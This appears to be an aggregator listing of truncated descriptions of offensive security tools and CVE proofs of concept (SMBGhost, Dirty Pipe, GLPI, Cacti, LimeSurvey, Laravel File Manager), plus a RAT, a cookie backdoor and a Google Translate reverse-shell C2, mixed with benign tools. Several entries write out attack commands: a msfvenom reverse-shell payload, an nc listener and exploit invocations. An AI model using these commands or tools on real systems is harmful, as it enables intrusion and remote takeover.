CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 解释与漏洞研究，适用于初学者的 CENG325 学期项目 如何利用？ 用于反向 Shell 的用户载荷生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 监听端口： nc -lvnp 5555 漏洞利用代码执行： python3 exploit.py -ip TARGETIP PoC 仓库 https://github.com/chompie1337/SMBGhostRCEPoC...

CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 利用实现 这是一个概念验证（POC），展示如何利用 CVE-2022-0847（"脏管道漏洞"）在远程机器上弹出反向 bash shell 以执行任意代码。 该漏洞仅影响 Linux 内核版本 5.8 及更高版本，但已在版本 5.16.11、5.15.25、5.10.102 及更高版本中得到修复。请更新你的内核 : 该漏洞由安全研究员 Max Kellermann 发现。我不会深入介绍该漏洞的细节，因为他在他的文章中比我做得更好；https://dirtypipe.cm4all.com/...

backcookie

backcookie 使用 cookie 的小型后门。 ========== root@kitploit: root@kitploit: Example one: python backcookie.py -u http://target.com/shell.php -c namecookie root@kitploit: Example two: python backcookie.py --url http://target.com/shell.php --cookie namecookie 自定义命令（binfo），可以获取目标信息。 root@kitploit: @pwned:$...

XeytanWin32-RAT

ADVERTENCIA Este es un RAT con errores, no completado, no estable. Sigue siendo una aplicación "en progreso". Introducción Proyecto creado para matar algo de mi tiempo libre, no se mantiene activamente. Hay muchas cosas que mejorar/arreglar, y llevará tiempo alcanzar estabilidad en este proyecto...

CVE-2025-24801

CVE-2025-24801 PoC —— GLPI RCE 利用 本仓库包含一个概念验证脚本（poc.py），用于利用 GLPI 10.0.17 中的 LFI 到 RCE 漏洞（CVE-2025-24801）。它可以自动完成以下操作： 登录 GLPI 通过更新文档类型设置启用 .php 上传 通过 AJAX 文件上传端点上传 PHP 反向 shell 🛠️ 安装 root@kitploit: git clone https://github.com/fatkz/CVE-2025-24801.git cd CVE-2025-24801 pip install -r...

CVE-2022-46196

CVE-2022-46196 描述 该 Python 代码利用 Cacti 1.2.22 及更早版本中存在的一个未经身份验证的命令注入漏洞。它使用 argparse 解析命令行参数，使用 requests 获取目标 Cacti 实例的 HTML 内容，并使用 BeautifulSoup 从 HTML 内容中提取 Cacti 的版本号。如果版本小于等于 1.2.22，代码将继续执行漏洞利用。 该漏洞利用涉及向 Cacti 实例的 remoteagent.php 文件发送一个有效载荷，该有效载荷是一条 Bash 命令，用于向指定的监听 IP 和端口打开反向 Shell。代码遍历一系列主机 I...

nginxconfig.io

⚙️ NGINX 配置生成器，火力全开 💉 你配置 NGINX 服务器时唯一需要的工具。 do.co/nginxconfig » 报告错误 · 请求功能 ✨ NGINX Config NGINX 远不止是一个 Web 服务器。你可能早就知道了。 我们热爱 NGINX，原因如下： 低内存占用 高并发能力 异步事件驱动架构 负载均衡 反向代理 带缓存的 FastCGI 支持（PHP） 对静态文件出色的快速处理 支持 SNI 的 TLS/SSL 众多功能伴随相应的配置指令。你现在就可以深入研究 NGINX 文档，或者使用这个工具来了解 NGINX...

CVE-2024-21546

CVE-2024-21546 Python漏洞利用脚本 🔥 描述 该Python漏洞利用脚本针对由UniSharp 创建的存在漏洞的Laravel文件管理器，允许认证用户绕过文件限制并上传恶意文件。当上传的有效负载被触发时，可能导致远程代码执行RCE 。 该漏洞利用执行以下操作： 验证用户提供的laravelsession 通过正则表达式提取CSRF token 上传包含PHP反弹Shell有效负载的假PNG文件 触发上传的文件 ⚠️ 受影响版本 2.9.1及更早版本 ⚙️ 用法 root@kitploit: python3 CVE-2024-21546.py...

gimmeSH

gimmeSH 为那些不想离开终端的渗透测试人员量身打造。 简短介绍 gimmeSH 是一个工具，可以在你的终端内生成自定义的 反向Shell、文件传输 和 Msfvenom 速查表，你只需提供平台、你的互联网协议地址和端口号。 安装 通过 git 下载脚本，在您的 .bashrc 中添加一个别名，然后就可以使用了。 执行 文件传输 Linux Web Shells...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 和 CVE-2024-46257 是同一个 POC，只需更改 provider 参数。 注意 有时 nc 文件无法在服务器上执行，或者无法执行命令！ 安装依赖 root@kitploit: pip install requests 运行漏洞利用 root@kitploit: python3 POCCVE-2024-46256.py + 目标类型 IP/主机? i/h: i + 输入 IP 或主机: IP/HOST + 输入端口: PORT + 输入用户名: USERNAME + 输入密码: PASS + 获取到的令牌:...

CVE-2021-44967

CVE-2021-44967：LimeSurvey 远程代码执行 RCE 描述 此概念验证 POC 可用于利用 CVE-2021-44967，以管理员身份上传并执行恶意的 LimeSurvey PHP 插件，从而获取反向 Shell。 LimeSurvey 5.2.4 版本中存在一个远程代码执行 RCE 漏洞，通过上传和安装插件的功能，远程恶意用户可上传任意 PHP 代码文件。 严重性：8.3 高危 向量：CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 使用方法 root@kitploit: usage: limesurveyrce.py -h ...

CVE-2021-22205

CVE-2021-22205 CVE-2021-22205 RCE 工具仅用于分享交流，切勿用于非授权测试，否则与作者无关 root@kitploit: -R string VPS to load tools eg: -R 127.0.0.1:8083 -T string Tool name eg: -T fscan -c string exec cmd eg: -c "id" default "id" -host string reverse shell host -m string Method for using of CVE-2021-22205 eg:-m...

netzob

Netzob：协议逆向工程、建模与模糊测试 .. image:: https://img.shields.io/badge/Python-3-brightgreen.svg :target: https://github.com/netzob/netzob :alt: Python3 完整文档请见：https://netzob.github.io/netzob/ 关于 Netzob Netzob 是一款用于通信协议逆向工程、建模、流量生成与模糊测试的开源工具。 Netzob 适用于逆向网络协议、结构化文件以及系统和进程流（IPC 及与驱动和设备的通信）。它支持多种协议类型：文本协议（如...

netzob

=========================================================== Netzob : Protocol Reverse Engineering, Modeling and Fuzzing .. image:: https://img.shields.io/badge/Python-3-brightgreen.svg :target: https://github.com/netzob/netzob :alt: Python3 See complete documentation here:...

ImpactSword

ImpactSword – Red Team Edition ImpactSword is an offensive se...

lbmap

Scripts de prueba de concepto para fingerprinting HTTP avanzado, presentados en OWASP AppSecAsia 2012. Estos scripts deben considerarse PoC o calidad alfa. Se agradecen sugerencias, recomendaciones, firmas, parches y críticas a través de http://www.github.com/wireghoul/lbmap. Se incluyen las...

ReClass.NET

ReClass.NET 这是将 ReClass 移植到 .NET 平台的版本，并包含了大量额外功能。 功能特点 支持 x86 / x64 从 ReClass 2007-2016 和 ReClass QT 导入文件 内存节点 数组和指向其他所有节点类型的指针 Hex 8 / 16 / 32 / 64 Int 8 / 16 / 32 / 64 UInt 8 / 16 / 32 / 64 Bool Bits 枚举 Float / Double Vector 2 / 3 / 4 Matrix 3x3 / 3x4 / 4x4 UTF8 / UTF16 / UTF32 文本及指向文本的指针 虚函数表...

CVE-2017-7494

CVE-2017-7494 CVE-2017-7494 C poc 利用CVE-2017-7494反弹shell 1.首先编译sambainit.c，生成libsamba.so 2.修改isknownpipename.c中的相关地址，编译执行...

GTRS

GTRS - 谷歌翻译反向Shell 该工具利用 谷歌翻译 作为代理，向被感染机器发送任意命令。 root@kitploit: 被感染机器 ==HTTPS== 谷歌翻译 ==HTTP== C2 环境配置 首先你需要一台VPS和一个域名，域名可以在 Freenom 免费获取。 服务器端 在你的VPS上运行 server.py root@kitploit: python2.7 server.py Server running on port: 80 Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062 它会生成一个密钥，该密钥将在客户端使用。 客户...

XSS2Shell-CVE-2026-64638

🔍 @Mr-LeonardoGomes 💀 XSS2Shell-CVE-2026-64638 XSS2Shell Multi-Target Scanner Developer: Credit: YogaGymn PoC/scanning utility for authorized security testing on WordPress. The project contains an exploitation flow for a single target and a concurrent multi-target scan-only mode. Important: Use...